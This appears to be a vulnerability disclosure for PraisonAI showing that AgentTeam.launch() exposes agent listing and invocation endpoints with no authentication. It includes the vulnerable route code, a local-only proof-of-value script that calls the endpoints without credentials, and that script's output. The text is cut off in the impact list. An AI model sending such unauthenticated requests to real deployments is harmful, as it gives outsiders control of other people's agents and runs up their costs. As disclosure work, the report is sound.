Description

PraisonAI AgentTeam.launch exposes unauthenticated remote agent listing and invocation endpoints # PraisonAI AgentTeam.launch() exposes unauthenticated remote agent invocation endpoints ## Summary PraisonAI's documented Python AgentTeam.launch() / Agents.launch() HTTP server starts externally reachable agent invocation endpoints without any authentication enforcement. The current implementation registers GET /{path}/list, POST /{path}, and POST /{path}/{agent_id} routes. The POST routes directly call agent.chat(...). Requests with no Authorization header are accepted, and requests with an obviously wrong bearer token are also accepted. The default Python API bind host for Agents.launch() is 0.0.0.0, and official documentation shows host="0.0.0.0" for remote access. This is a sibling/incomplete-fix variant of PraisonAI's prior unauthenticated API server and call server advisory family. Nearby server surfaces were hardened to require tokens, fail closed, or bind locally by default, but the AgentTeam.launch() FastAPI path still exposes unauthenticated agent execution on current upstream main and the latest release. This report is scoped to the Python AgentTeam.launch() / Agents.launch() route-registration path. It does not require adjudicating whether the separate praisonai serve agents --api-key CLI path is correctly enforced. ## Affected Components - Package: praisonaiagents - Current upstream main tested: 2f9677abb2ea68eab864ee8b6a828fd0141612e1 - Latest release tag tested: v4.6.57 - Primary file: src/praisonai-agents/praisonaiagents/agents/agents.py - Current line references: AgentTeam.launch() begins at line 1923; the group POST route is registered at line 2007; the group handler invokes agent_instance.chat(...) at line 2042; the unauthenticated list route is registered at line 2086; per-agent handlers invoke agent.chat(...) at line - Primary class/API: AgentTeam.launch() / exported alias Agents - Affected routes: - GET /{path}/list: lists deployed agents. - POST /{path}: sequentially invokes all agents in the team. - POST /{path}/{agent_id}: invokes a specific agent. Current vulnerable sink: python @app.post(path) async def handle_query(request: Request, query_data: Optional[AgentQuery] = None): ... response = await loop.run_in_executor( None, copy_context_to_callable(lambda ci=current_input: agent_instance.chat(ci)), ) Per-agent sink: python app.post(agent_path)(create_agent_handler(agent_instance)) ... response = await loop.run_in_executor( None, copy_context_to_callable(lambda q=query: agent.chat(q)), ) List endpoint: python @app.get(f"{path}/list") async def list_agents(): return {"agents": [{"name": agent.display_name, "id": ...} for agent in self.agents]} There is no middleware, dependency, token comparison, bearer-token parsing, API-key check, or startup fail-closed guard in this launch path. ## Security Boundary This is not a trust-model-only report. PraisonAI's own current security documentation says API servers were hardened so that anonymous requests return 401 and API servers bind to 127.0.0.1 by default after the prior unauthenticated API advisory family. The codebase also contains hardened sibling implementations: - praisonai.deploy.api now has AUTH_ENABLED, PRAISONAI_API_TOKEN, generated tokens, and 401 Unauthorized checks (src/praisonai/praisonai/deploy/api.py lines 44-62 and 69-97). - praisonai.gateway.server.WebSocketGateway validates external bind safety, requires a token for external binds, checks bearer/query/cookie auth, and validates WebSocket auth (src/praisonai/praisonai/gateway/server.py lines 328-424). - praisonai call hardening is documented as requiring CALL_SERVER_TOKEN or explicit opt-out. AgentTeam.launch() remains outside those shared controls even though it exposes the same class of network-facing agent invocation surface. ## Local-Only Reproduction Run the local-only PoV script below with current source on PYTHONPATH: bash PYTHONPATH="/path/to/PraisonAI/src/praisonai-agents:/path/to/PraisonAI/src/praisonai" \ python poc_agentteam_launch_unauth.py Expected vulnerable result: text [poc] HIT: unauthenticated clients invoked AgentTeam endpoints Observed on current upstream main: json { "results": [ { "body": { "agents": [ { "id": "pov_agent", "name": "pov_agent" } ] }, "case": "no_auth_list", "method": "GET", "path": "/agents/list", "status": 200 }, { "case": "no_auth_group", "method": "POST", "path": "/agents", "status": 200, "body": { "final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker", "query": "marker", "results": [ { "agent": "pov_agent", "response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker" } ] } }, { "case": "wrong_bearer_group", "method": "POST", "path": "/agents", "status": 200, "body": { "final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker", "query": "marker", "results": [ { "agent": "pov_agent", "response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker" } ] } }, { "case": "no_auth_per_agent", "method": "POST", "path": "/agents/pov_agent", "status": 200, "body": { "agent": "pov_agent", "query": "marker", "response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker" } } ] } The PoV binds to 127.0.0.1, uses a randomly selected local port, stubs agent.chat() to avoid any external LLM provider, and sends only local HTTP requests. Standalone PoV script: python #!/usr/bin/env python3 """ Local-only PoV for PRAI-CAND-003. Starts a PraisonAI AgentTeam/Agents HTTP server on 127.0.0.1 with a stubbed agent response, then proves both the group endpoint and per-agent endpoint execute without authentication. No model provider or external network is used. """ import json import socket import time import types import threading from contextlib import closing import requests from praisonaiagents import Agent, Agents def _free_port() -> int: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock: sock.bind(("127.0.0.1", 0)) return sock.getsockname()[1] def main() -> int: port = _free_port() agent = Agent( name="pov_agent", role="tester", goal="test", backstory="test", llm=None, ) def stub_chat(self, query, *args, **kwargs): return f"POV_UNAUTH_AGENTTEAM_EXECUTED:{query}" agent.chat = types.MethodType(stub_chat, agent) team = Agents(agents=[agent]) launch_thread = threading.Thread( target=lambda: team.launch(path="/agents", port=port, host="127.0.0.1", debug=False), daemon=True, ) launch_thread.start() base = f"http://127.0.0.1:{port}" for _ in range(40): try: response = requests.get(base + "/health", timeout=0.25) if response.status_code == 200: break except Exception: time.sleep(0.1) else: raise SystemExit("[poc] MISS: server did not start") cases = [ ("no_auth_list", "GET", {}, "/agents/list", None), ("no_auth_group", "POST", {}, "/agents", {"query": "marker"}), ( "wrong_bearer_group", "POST", {"Authorization": "Bearer definitely-wrong"}, "/agents", {"query": "marker"}, ), ("no_auth_per_agent", "POST", {}, "/agents/pov_agent", {"query": "marker"}), ] results = [] for name, method, headers, path, body in cases: if method == "GET": response = requests.get(base + path, headers=headers, timeout=5) else: response = requests.post(base + path, json=body, headers=headers, timeout=5) try: body = response.json() except Exception: body = response.text results.append( { "case": name, "method": method, "path": path, "status": response.status_code, "body": body, } ) print(json.dumps({"port": port, "results": results}, indent=2, sort_keys=True)) expected_marker = "POV_UNAUTH_AGENTTEAM_EXECUTED:marker" for result in results: if result["status"] != 200: raise SystemExit(f"[poc] MISS: {result['case']} returned {result['status']}") if result["case"] == "no_auth_list" and "pov_agent" not in json.dumps(result["body"]): raise SystemExit("[poc] MISS: unauthenticated list endpoint did not expose agent id") if result["case"] == "no_auth_list": continue body_text = json.dumps(result["body"], sort_keys=True) if expected_marker not in body_text: raise SystemExit(f"[poc] MISS: marker absent for {result['case']}") print("[poc] HIT: unauthenticated clients invoked AgentTeam endpoints") return 0 if __name__ == "__main__": raise SystemExit(main()) ## Impact If an operator follows the documented remote-server pattern and exposes an AgentTeam.launch() server on a reachable interface, any network client can invoke the deployed agents without credentials. Depending on the deployed agents, an unauthenticated caller may be able to: - enumerate available agent IDs and names through GET /{path}/list; - trigger model/API spend by repeatedly invoking agents; - drive agents connected

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